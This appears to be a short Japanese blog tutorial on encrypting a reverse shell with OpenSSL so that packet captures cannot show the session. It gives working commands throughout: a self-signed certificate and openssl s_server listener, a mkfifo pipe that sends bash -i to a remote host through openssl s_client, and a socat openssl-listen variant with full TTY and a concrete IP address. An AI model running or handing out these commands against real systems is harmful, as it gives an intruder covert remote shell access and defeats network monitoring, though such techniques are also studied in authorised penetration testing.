Reverse Shellで接続する際、普通にncやsocatで受け付けて処理すると間の通信が暗号化されてないので、パケットキャプチャすると何してるのか見えてしまったりする。 これはあまりよろしくないことが多いので、OpenSSL経由でReverse Shellを使うことで間の通信を暗号化してみることにする。

なお、証明書はオレオレ証明書にする(ちゃんとした証明書使ってもいいけど、この用途でわざわざやる必要もないかなと…)。

1. Listen側

まずはオレオレ証明書の作成から。(すでにあるならやらなくていいかも)

openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 3650 -nodes

オレオレ証明書を作成したら、以下のコマンドでOpenSSLでの通信待ち受けをする。

openssl s_server -quiet -key key.pem -cert cert.pem -port <port>

2. Server側

次にServer側(Listen側にShellを渡す方)。 opensslとshellでやり取りをするために名前付きパイプを使う必要があるので、以下のようにコマンドを実行する。

mkfifo /tmp/p;bash -i < /tmp/p 2>&1 | openssl s_client -quiet -connect <host>:<port> > /tmp/p;rm -f /tmp/p

これで、通信が暗号化された状態でReverse Shellの利用ができるようになる。

3. tty(仮想端末)も有効にしてみる

さて、おまけで仮想端末を利用して、かつCtrl+Cといったキーバインドもサーバ側に渡せるように接続してみよう。 やり方は簡単で、socatではopenssl-listenでの受け付けが可能なので、それを利用すればいい。

3-1. listen側

socat `tty`,raw,echo=0 openssl-listen:55555,reuseaddr,cert=cert.pem,key=key.pem,verify=0

3-2. server側

mkfifo /tmp/p;script -qc 'bash -i' /dev/null < /tmp/p 2>&1 | openssl s_client -quiet -connect 172.20.100.122:55555 > /tmp/p;rm -f /tmp/p

接続直後は表示が崩れてしまう状態なので、Reverse Shellで以下のコマンドを実行して端末情報をリセットする。

stty sane

これで、Reverse ShellでのSSL化+キーバインド対応ができるようになる。 (あんまり使うこと無い気がするけど)